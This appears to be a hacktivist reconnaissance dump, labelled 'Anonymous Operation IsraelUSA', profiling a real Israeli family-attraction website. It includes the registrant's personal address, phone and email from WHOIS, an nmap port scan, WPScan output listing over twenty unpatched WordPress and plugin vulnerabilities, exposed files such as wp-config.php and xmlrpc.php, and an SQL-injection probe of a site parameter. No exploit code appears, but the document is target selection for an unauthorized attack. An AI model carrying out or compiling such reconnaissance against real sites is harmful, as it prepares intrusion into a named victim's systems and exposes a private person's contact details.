Anonymous Operation IsraelUSA JTSEC full recon #15

#######################################################################################################################################
Hostname 	www.flybox.co.il 	  	ISP 	Unknown
Continent 	Unknown 	  	Flag
US
Country 	United States 	  	Country Code 	US
Region 	Unknown 	  	Local time 	30 Dec 2017 21:45 CST
City 	Unknown 	  	Latitude 	37.751
IP Address (IPv6) 	2400:cb00:2048:1::681f:4aef 	  	Longitude 	-97.822
#######################################################################################################################################
[i] Scanning Site: https://flybox.co.il



B A S I C   I N F O
====================


[+] Site Title: Flybox - אטרקציה במרכז לכל המשפחה והחברים! מנהרת רוח הגיעה לישראל
[+] IP address: 104.31.74.239
[+] Web Server: cloudflare
[+] CMS: WordPress
[+] Cloudflare: Detected
[+] Robots File: Found

-------------[ contents ]----------------
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

-----------[end of contents]-------------



W H O I S   L O O K U P
========================


% The data in the WHOIS database of the .il registry is provided
% by ISOC-IL for information purposes, and to assist persons in
% obtaining information about or related to a domain name
% registration record. ISOC-IL does not guarantee its accuracy.
% By submitting a WHOIS query, you agree that you will use this
% Data only for lawful purposes and that, under no circumstances
% will you use this Data to: (1) allow, enable, or otherwise
% support the transmission of mass unsolicited, commercial
% advertising or solicitations via e-mail (spam);
% or  (2) enable high volume, automated, electronic processes that
% apply to ISOC-IL (or its systems).
% ISOC-IL reserves the right to modify these terms at any time.
% By submitting this query, you agree to abide by this policy.

query:        flybox.co.il

reg-name:     flybox
domain:       flybox.co.il

descr:        Ofer Bar
descr:        Kibutz Hulda
descr:        Kibutz Hulda
descr:        11111
descr:        Israel
phone:        +972 54 3035371
fax-no:       +972 9 9574370
admin-c:      IS-OB5539-IL
tech-c:       IS-ID1078-IL
zone-c:       IS-ID1078-IL
nserver:      athena.ns.cloudflare.com
nserver:      vin.ns.cloudflare.com
validity:     04-09-2019
DNSSEC:       unsigned
status:       Transfer Locked
changed:      domain-registrar AT isoc.org.il 20130904 (Assigned)
changed:      domain-registrar AT isoc.org.il 20161012 (Changed)

person:       Ofer Bar
address:      Ofer Bar
address:      Kibutz Hulda
address:      Kibutz Hulda
address:      11111
address:      Israel
phone:        +972 54 3035371
fax-no:       +972 9 9574370
e-mail:       tsahye AT gmail.com
nic-hdl:      IS-OB5539-IL
changed:      domain-registrar AT isoc.org.il 20130904
changed:      Managing Registrar 20150805

person:       Interspace Domreg
address:      Interspace Ltd.
address:      P.O.Box 8723
address:      Netanya
address:      42505
address:      Israel
phone:        +972 73 2224444
fax-no:       +972 73 2224440
e-mail:       domreg AT interspace.net
nic-hdl:      IS-ID1078-IL
changed:      Managing Registrar 20070110
changed:      Managing Registrar 20070319
changed:      Managing Registrar 20070909
changed:      Managing Registrar 20090514
changed:      Managing Registrar 20110720
changed:      Managing Registrar 20110720
changed:      Managing Registrar 20110721
changed:      Managing Registrar 20111128
changed:      Managing Registrar 20111128
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20170518
changed:      Managing Registrar 20170716

registrar name: InterSpace Ltd
registrar info: http://www.internic.co.il

% Rights to the data above are restricted by copyright.




G E O  I P  L O O K  U P
=========================

[i] IP Address: 104.31.74.239
[i] Country: US
[i] State: N/A
[i] City: N/A
[i] Latitude: 37.750999
[i] Longitude: -97.821999




H T T P   H E A D E R S
=======================


[i]  HTTP/1.1 301 Moved Permanently
[i]  Date: Sun, 31 Dec 2017 03:49:43 GMT
[i]  Content-Type: text/html; charset=UTF-8
[i]  Connection: close
[i]  Set-Cookie: __cfduid=d048dd8f728aacac5c57377105f435c341514692182; expires=Mon, 31-Dec-18 03:49:42 GMT; path=/; domain=.flybox.co.il; HttpOnly
[i]  X-Powered-By: PHP/7.0.13
[i]  Set-Cookie: PHPSESSID=n8skqve9rvv5lcm3rj6i9l9bk6; expires=Thu, 14-Sep-2023 11:45:31 GMT; Max-Age=180000000; path=/
[i]  Expires: Thu, 19 Nov 1981 08:52:00 GMT
[i]  Cache-Control: no-store, no-cache, must-revalidate
[i]  Pragma: no-cache
[i]  Set-Cookie: qtrans_front_language=he; expires=Mon, 31-Dec-2018 03:45:31 GMT; Max-Age=31536000; path=/
[i]  Location: https://www.flybox.co.il/
[i]  Server: cloudflare
[i]  CF-RAY: 3d5a453b3ea599e6-EWR
[i]  HTTP/1.1 200 OK
[i]  Date: Sun, 31 Dec 2017 03:49:44 GMT
[i]  Content-Type: text/html; charset=UTF-8
[i]  Connection: close
[i]  Set-Cookie: __cfduid=dfb1c034c6d2f841166e7b2bc0c56bd481514692183; expires=Mon, 31-Dec-18 03:49:43 GMT; path=/; domain=.flybox.co.il; HttpOnly
[i]  X-Powered-By: PHP/7.0.13
[i]  Set-Cookie: PHPSESSID=68gdntsnihgeglnt961kd9mjd3; expires=Thu, 14-Sep-2023 11:45:32 GMT; Max-Age=180000000; path=/
[i]  Expires: Thu, 19 Nov 1981 08:52:00 GMT
[i]  Cache-Control: no-store, no-cache, must-revalidate
[i]  Pragma: no-cache
[i]  Set-Cookie: qtrans_front_language=he; expires=Mon, 31-Dec-2018 03:45:32 GMT; Max-Age=31536000; path=/
[i]  Link: <https://www.flybox.co.il/wp-json/>; rel="https://api.w.org/"
[i]  Link: <https://www.flybox.co.il/>; rel=shortlink
[i]  Access-Control-Allow-Origin: *
[i]  Server: cloudflare
[i]  CF-RAY: 3d5a45419c650ef7-EWR




D N S   L O O K U P
===================

flybox.co.il.		3788	IN	HINFO	"ANY obsoleted" "See draft-ietf-dnsop-refuse-any"




S U B N E T   C A L C U L A T I O N
====================================

Address       = 2400:cb00:2048:1::681f:4aef
Network       = 2400:cb00:2048:1::681f:4aef / 128
Netmask       = ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Wildcard Mask = ::
Hosts Bits    = 0
Max. Hosts    = 0   (2^0 - 1)
Host Range    = { 2400:cb00:2048:1::681f:4af0 - 2400:cb00:2048:1::681f:4aef }



N M A P   P O R T   S C A N
============================


Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-31 03:49 UTC
Nmap scan report for flybox.co.il (104.31.75.239)
Host is up (0.0021s latency).
Other addresses for flybox.co.il (not scanned): 104.31.74.239 2400:cb00:2048:1::681f:4aef 2400:cb00:2048:1::681f:4bef
PORT     STATE    SERVICE       VERSION
21/tcp   filtered ftp
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          Cloudflare nginx
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/http      Cloudflare nginx
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.96 seconds
[!] IP Address : 104.31.75.239
[-] Cloudflare detected
[!] Powered By: PHP/7.0.13
[-] Clickjacking protection is not in place.
[!] CMS Detected : WordPress
[?] Would you like to use WPScan? [Y/n] Y
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] The remote host tried to redirect to: https://www.flybox.co.il/
[?] Do you want follow the redirection ? [Y]es [N]o [A]bort, default: [N]Y
[+] URL: https://www.flybox.co.il/
[+] Started: Sat Dec 30 22:51:59 2017

[+] robots.txt available under: 'https://www.flybox.co.il/robots.txt'
[+] Interesting entry from robots.txt: https://www.flybox.co.il/wp-admin/admin-ajax.php
[!] The WordPress 'https://www.flybox.co.il/readme.html' file exists exposing a version number
[+] Interesting header: CF-RAY: 3d5a48eaac52473a-EWR
[+] Interesting header: LINK: <https://www.flybox.co.il/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: LINK: <https://www.flybox.co.il/>; rel=shortlink
[+] Interesting header: SERVER: cloudflare
[+] Interesting header: SET-COOKIE: qtrans_front_language=he; expires=Mon, 31-Dec-2018 03:48:01 GMT; Max-Age=31536000; path=/
[+] Interesting header: X-POWERED-BY: PHP/7.0.13
[+] XML-RPC Interface available under: https://www.flybox.co.il/xmlrpc.php

[+] WordPress version 4.5.6 (Released on 2017-01-26) identified from meta generator, links opml, stylesheets numbers
[!] 22 vulnerabilities identified from the version number

[!] Title: WordPress 3.6.0-4.7.2 - Authenticated Cross-Site Scripting (XSS) via Media File Metadata
    Reference: https://wpvulndb.com/vulnerabilities/8765
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/28f838ca3ee205b6f39cd2bf23eb4e5f52796bd7
    Reference: https://sumofpwn.nl/advisory/2016/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html
    Reference: http://seclists.org/oss-sec/2017/q1/563
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6814
[i] Fixed in: 4.5.7

[!] Title: WordPress 2.8.1-4.7.2 - Control Characters in Redirect URL Validation
    Reference: https://wpvulndb.com/vulnerabilities/8766
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/288cd469396cfe7055972b457eb589cea51ce40e
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6815
[i] Fixed in: 4.5.7

[!] Title: WordPress  4.0-4.7.2 - Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds
    Reference: https://wpvulndb.com/vulnerabilities/8768
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/419c8d97ce8df7d5004ee0b566bc5e095f0a6ca8
    Reference: https://blog.sucuri.net/2017/03/stored-xss-in-wordpress-core.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6817
[i] Fixed in: 4.5.7

[!] Title: WordPress 4.2-4.7.2 - Press This CSRF DoS
    Reference: https://wpvulndb.com/vulnerabilities/8770
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/263831a72d08556bc2f3a328673d95301a152829
    Reference: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html
    Reference: http://seclists.org/oss-sec/2017/q1/562
    Reference: https://hackerone.com/reports/153093
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6819
[i] Fixed in: 4.5.7

[!] Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset
    Reference: https://wpvulndb.com/vulnerabilities/8807
    Reference: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
    Reference: http://blog.dewhurstsecurity.com/2017/05/04/exploitbox-wordpress-security-advisories.html
    Reference: https://core.trac.wordpress.org/ticket/25239
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295

[!] Title: WordPress 2.7.0-4.7.4 - Insufficient Redirect Validation
    Reference: https://wpvulndb.com/vulnerabilities/8815
    Reference: https://github.com/WordPress/WordPress/commit/76d77e927bb4d0f87c7262a50e28d84e01fd2b11
    Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9066
[i] Fixed in: 4.5.9

[!] Title: WordPress 2.5.0-4.7.4 - Post Meta Data Values Improper Handling in XML-RPC
    Reference: https://wpvulndb.com/vulnerabilities/8816
    Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
    Reference: https://github.com/WordPress/WordPress/commit/3d95e3ae816f4d7c638f40d3e936a4be19724381
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9062
[i] Fixed in: 4.5.9

[!] Title: WordPress 3.4.0-4.7.4 - XML-RPC Post Meta Data Lack of Capability Checks
    Reference: https://wpvulndb.com/vulnerabilities/8817
    Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
    Reference: https://github.com/WordPress/WordPress/commit/e88a48a066ab2200ce3091b131d43e2fab2460a4
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9065
[i] Fixed in: 4.5.9

[!] Title: WordPress 2.5.0-4.7.4 - Filesystem Credentials Dialog CSRF
    Reference: https://wpvulndb.com/vulnerabilities/8818
    Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
    Reference: https://github.com/WordPress/WordPress/commit/38347d7c580be4cdd8476e4bbc653d5c79ed9b67
    Reference: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9064
[i] Fixed in: 4.5.9

[!] Title: WordPress 3.3-4.7.4 - Large File Upload Error XSS
    Reference: https://wpvulndb.com/vulnerabilities/8819
    Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
    Reference: https://github.com/WordPress/WordPress/commit/8c7ea71edbbffca5d9766b7bea7c7f3722ffafa6
    Reference: https://hackerone.com/reports/203515
    Reference: https://hackerone.com/reports/203515
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9061
[i] Fixed in: 4.5.9

[!] Title: WordPress 3.4.0-4.7.4 - Customizer XSS & CSRF
    Reference: https://wpvulndb.com/vulnerabilities/8820
    Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
    Reference: https://github.com/WordPress/WordPress/commit/3d10fef22d788f29aed745b0f5ff6f6baea69af3
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9063
[i] Fixed in: 4.5.9

[!] Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection
    Reference: https://wpvulndb.com/vulnerabilities/8905
    Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
    Reference: https://github.com/WordPress/WordPress/commit/fc930d3daed1c3acef010d04acc2c5de93cd18ec
[i] Fixed in: 4.5.10

[!] Title: WordPress 2.3.0-4.7.4 - Authenticated SQL injection
    Reference: https://wpvulndb.com/vulnerabilities/8906
    Reference: https://medium.com/websec/wordpress-sqli-bbb2afcc8e94
    Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
    Reference: https://wpvulndb.com/vulnerabilities/8905
[i] Fixed in: 4.7.5

[!] Title: WordPress 2.9.2-4.8.1 - Open Redirect
    Reference: https://wpvulndb.com/vulnerabilities/8910
    Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    Reference: https://core.trac.wordpress.org/changeset/41398
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14725
[i] Fixed in: 4.5.10

[!] Title: WordPress 3.0-4.8.1 - Path Traversal in Unzipping
    Reference: https://wpvulndb.com/vulnerabilities/8911
    Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    Reference: https://core.trac.wordpress.org/changeset/41457
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14719
[i] Fixed in: 4.5.10

[!] Title: WordPress 4.4-4.8.1 - Cross-Site Scripting (XSS) in oEmbed
    Reference: https://wpvulndb.com/vulnerabilities/8913
    Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    Reference: https://core.trac.wordpress.org/changeset/41448
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14724
[i] Fixed in: 4.5.10

[!] Title: WordPress 4.2.3-4.8.1 - Authenticated Cross-Site Scripting (XSS) in Visual Editor
    Reference: https://wpvulndb.com/vulnerabilities/8914
    Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    Reference: https://core.trac.wordpress.org/changeset/41395
    Reference: https://blog.sucuri.net/2017/09/stored-cross-site-scripting-vulnerability-in-wordpress-4-8-1.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14726
[i] Fixed in: 4.5.10

[!] Title: WordPress <= 4.8.2 - $wpdb->prepare() Weakness
    Reference: https://wpvulndb.com/vulnerabilities/8941
    Reference: https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
    Reference: https://github.com/WordPress/WordPress/commit/a2693fd8602e3263b5925b9d799ddd577202167d
    Reference: https://twitter.com/ircmaxell/status/923662170092638208
    Reference: https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16510
[i] Fixed in: 4.5.11

[!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
    Reference: https://wpvulndb.com/vulnerabilities/8966
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[i] Fixed in: 4.5.12

[!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
    Reference: https://wpvulndb.com/vulnerabilities/8967
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[i] Fixed in: 4.5.12

[!] Title: WordPress 4.3.0-4.9 - HTML Language Attribute Escaping
    Reference: https://wpvulndb.com/vulnerabilities/8968
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[i] Fixed in: 4.5.12

[!] Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing
    Reference: https://wpvulndb.com/vulnerabilities/8969
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[i] Fixed in: 4.5.12

[+] WordPress theme in use: blue-summit-wp-bootstrap - v1.0

[+] Name: blue-summit-wp-bootstrap - v1.0
 |  Location: https://www.flybox.co.il/wp-content/themes/blue-summit-wp-bootstrap/
 |  Style URL: https://www.flybox.co.il/wp-content/themes/blue-summit-wp-bootstrap/style.css
 |  Theme Name: Flybox
 |  Author: Flybox
 |  Author URI: http://www.flybox.co.il/

[+] Enumerating plugins from passive detection ...
 | 15 plugins found:

[+] Name: accordions - v2.0.8
 |  Last updated: 2017-11-26T04:13:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/accordions/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/accordions/readme.txt
[!] The version is out of date, the latest version is 2.0.21

[+] Name: colorbox - v1.0.0
 |  Last updated: 2016-12-15T12:02:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/colorbox/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/colorbox/readme.txt
[!] The version is out of date, the latest version is 1.0.5

[+] Name: front-end-only-users - v2.9.13
 |  Last updated: 2017-12-15T23:06:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/front-end-only-users/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/front-end-only-users/readme.txt
[!] The version is out of date, the latest version is 3.1.15

[+] Name: new-royalslider
 |  Location: https://www.flybox.co.il/wp-content/plugins/new-royalslider/

[+] Name: popup-builder - v2.3.1
 |  Last updated: 2017-12-27T14:41:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/popup-builder/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/popup-builder/readme.txt
[!] The version is out of date, the latest version is 2.6.7.1

[+] Name: popup-maker - v1.4.20
 |  Last updated: 2017-08-18T00:49:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/popup-maker/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/popup-maker/readme.txt
[!] The version is out of date, the latest version is 1.6.6

[!] Title: Popup Maker <= 1.6.4 - Authenticated Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8878
    Reference: https://plugins.trac.wordpress.org/changeset/1697216/#file3
    Reference: https://jvn.jp/en/jp/JVN92921024/index.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-2284
[i] Fixed in: 1.6.5

[+] Name: qtranslate-x - v3.4.6.8
 |  Latest version: 3.4.6.8 (up to date)
 |  Last updated: 2016-07-13T17:36:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/qtranslate-x/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/qtranslate-x/readme.txt

[+] Name: social-popup - v1.8
 |  Latest version: 1.6.4.5 (up to date)
 |  Last updated: 2015-05-20T17:06:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/social-popup/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/social-popup/README.txt

[+] Name: sogo-accessibility - v1.0.9
 |  Last updated: 2017-11-09T06:07:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/sogo-accessibility/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/sogo-accessibility/README.txt
[!] The version is out of date, the latest version is 1.2.2

[+] Name: superfly-menu
 |  Location: https://www.flybox.co.il/wp-content/plugins/superfly-menu/

[+] Name: woocommerce - v2.5.5
 |  Last updated: 2017-12-13T16:24:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/woocommerce/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/woocommerce/readme.txt
[!] The version is out of date, the latest version is 3.2.6

[!] Title: WooCommerce <= 2.6.2 - Authenticated Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8563
    Reference: https://woocommerce.wordpress.com/2016/07/19/woocommerce-2-6-3-fixsecurity-release-notes/
    Reference: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_woocommerce_using_image_metadata__exif_.html
[i] Fixed in: 2.6.3

[!] Title: WooCommerce <= 2.6.3 - Stored Cross Site Scripting (XSS) via REST API
    Reference: https://wpvulndb.com/vulnerabilities/8619
    Reference: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_woocommerce_wordpress_plugin.html
    Reference: http://seclists.org/fulldisclosure/2016/Sep/20
    Reference: https://hackerone.com/reports/152692
[i] Fixed in: 2.6.4

[!] Title: WooCommerce <= 2.6.8 - Authenticated Tax-Rate CSV XSS
    Reference: https://wpvulndb.com/vulnerabilities/8710
    Reference: https://www.fortiguard.com/advisory/fortinet-discovers-wordpress-woocommerce-plug-in-cross-site-scripting-vulnerability-1
    Reference: http://blog.fortinet.com/2016/12/16/woocommerce-tax-rates-cross-site-scripting-vulnerability2
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10112
[i] Fixed in: 2.6.9

[+] Name: woocommerce-ajax-add-to-cart-for-variable-products - v1.2.8
 |  Last updated: 2016-07-18T20:56:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/woocommerce-ajax-add-to-cart-for-variable-products/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/woocommerce-ajax-add-to-cart-for-variable-products/readme.txt
[!] The version is out of date, the latest version is 1.2.9

[+] Name: woocommerce-bookings
 |  Location: https://www.flybox.co.il/wp-content/plugins/woocommerce-bookings/
 |  Changelog: https://www.flybox.co.il/wp-content/plugins/woocommerce-bookings/changelog.txt

[+] Name: wp-facebook-login - v1.1.2
 |  Last updated: 2017-12-21T21:28:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/wp-facebook-login/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/wp-facebook-login/README.txt
[!] The version is out of date, the latest version is 1.2.2

[+] Name: wordpress-seo - v3.2.5
 |  Last updated: 2017-12-20T08:23:00.000Z
 |  Location: https://www.flybox.co.il/wp-content/plugins/wordpress-seo/
 |  Readme: https://www.flybox.co.il/wp-content/plugins/wordpress-seo/readme.txt
 |  Changelog: https://www.flybox.co.il/wp-content/plugins/wordpress-seo/changelog.txt
[!] The version is out of date, the latest version is 6.0

[!] Title: Yoast SEO <= 3.2.5 - Unspecified Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8569
    Reference: https://wordpress.org/plugins/wordpress-seo/changelog/
[i] Fixed in: 3.3.0

[!] Title: Yoast SEO <= 3.4.0 - Authenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8583
    Reference: https://plugins.trac.wordpress.org/changeset/1466243/wordpress-seo
[i] Fixed in: 3.4.1

[!] Title: Yoast SEO <= 5.7.1 - Unauthenticated Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8960
    Reference: https://plugins.trac.wordpress.org/changeset/1766831/wordpress-seo/trunk/admin/google_search_console/class-gsc-table.php
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16842
[i] Fixed in: 5.8

[+] Finished: Sat Dec 30 22:59:22 2017
[+] Requests Done: 432
[+] Memory used: 203.512 MB
[+] Elapsed time: 00:07:22
[+] Honeypot Probabilty: 30%
----------------------------------------
[+] Robots.txt retrieved
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

----------------------------------------
PORT     STATE    SERVICE       VERSION
21/tcp   filtered ftp
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          Cloudflare nginx
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/https?
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
----------------------------------------

[+] DNS Records

[+] Host Records (A)
www.flybox.co.ilHTTP: (104.31.75.239) AS13335 Cloudflare Inc

[+] TXT Records

[+] DNS Map: https://dnsdumpster.com/static/map/www.flybox.co.il.png

[>] Initiating 3 intel modules
[>] Loading Alpha module (1/3)
[>] Beta module deployed (2/3)
[>] Gamma module initiated (3/3)
No emails found

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
[+] Virtual hosts:
-----------------
[>] Crawling the target for fuzzable URLs
[+] Found 4 fuzzable URLs
https://www.flybox.co.il///selected-package/?packageid=1
[>] Using SQLMap api to check for SQL injection vulnerabilities. Don't
    worry we are using an online service and it doesn't depend on your internet connection.
    This scan will take 2-3 minutes.
[-] None of parameters is vulnerable to SQL injection
[+] These are the URLs having parameters:
https://www.flybox.co.il///selected-package/?packageid=1
https://www.flybox.co.il///selected-package/?packageid=1
https://www.flybox.co.il///selected-package/?packageid=1
https://www.flybox.co.il///selected-package/?packageid=1
+] Target: https://www.flybox.co.il/
[+] Starting: 30/12/2017 22:55:35

[+] Server: cloudflare
[+] Uncommon header "Access-Control-Allow-Origin" found, with contents: *
[+] Uncommon header "CF-RAY" found, with contents: 3d5a4dde08fb0efd-EWR

[+] XML-RPC Interface available under: https://www.flybox.co.il/xmlrpc.php

[+] Found robots.txt file under: https://www.flybox.co.il/robots.txt
[+] Found wp-config.php file under: https://www.flybox.co.il/wp-config.php
[+] Found readme.html file under: https://www.flybox.co.il/readme.html

[+] wp-login not detect protection under: https://www.flybox.co.il/wp-login.php

[+] Robots available under: https://www.flybox.co.il/robots.txt
-------------------------
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

-------------------------

[+] Running WordPress version: 4.5.6
 |  Release date: 2017-01-26
 |  Title: WordPress 3.6.0-4.7.2 - Authenticated Cross-Site Scripting (XSS) via Media File Metadata
 |  Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/28f838ca3ee205b6f39cd2bf23eb4e5f52796bd7
 |  Reference: https://sumofpwn.nl/advisory/2016/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html
 |  Reference: http://seclists.org/oss-sec/2017/q1/563
 |  Fixed in: 4.5.7
 |  Title: WordPress 2.8.1-4.7.2 - Control Characters in Redirect URL Validation
 |  Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/288cd469396cfe7055972b457eb589cea51ce40e
 |  Fixed in: 4.5.7
 |  Title: WordPress  4.0-4.7.2 - Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds
 |  Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/419c8d97ce8df7d5004ee0b566bc5e095f0a6ca8
 |  Reference: https://blog.sucuri.net/2017/03/stored-xss-in-wordpress-core.html
 |  Fixed in: 4.5.7
 |  Title: WordPress 4.2-4.7.2 - Press This CSRF DoS
 |  Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
